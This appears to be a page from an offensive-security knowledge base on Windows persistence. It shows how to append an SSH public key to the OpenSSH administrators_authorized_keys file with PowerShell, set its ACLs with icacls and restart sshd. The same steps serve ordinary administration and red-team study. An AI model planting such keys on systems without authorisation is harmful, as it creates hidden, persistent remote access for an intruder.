Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 04. Windows / 03. Persistence / SSH

Administrators Authorized Keys

On many Windows OpenSSH installs, users in the local Administrators group are matched by an sshd_config block that points public key authentication to:

C:\ProgramData\ssh\administrators_authorized_keys

Writing this file requires administrative rights.

Append an administrator key:

Add-Content -Path "C:\ProgramData\ssh\administrators_authorized_keys" -Value "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... ootw-admin"

Set restrictive ACLs if needed:

icacls C:\ProgramData\ssh\administrators_authorized_keys /inheritance:r
icacls C:\ProgramData\ssh\administrators_authorized_keys /grant SYSTEM:F
icacls C:\ProgramData\ssh\administrators_authorized_keys /grant Administrators:F

Restart SSH only if configuration or permissions require it:

sc stop sshd
sc start sshd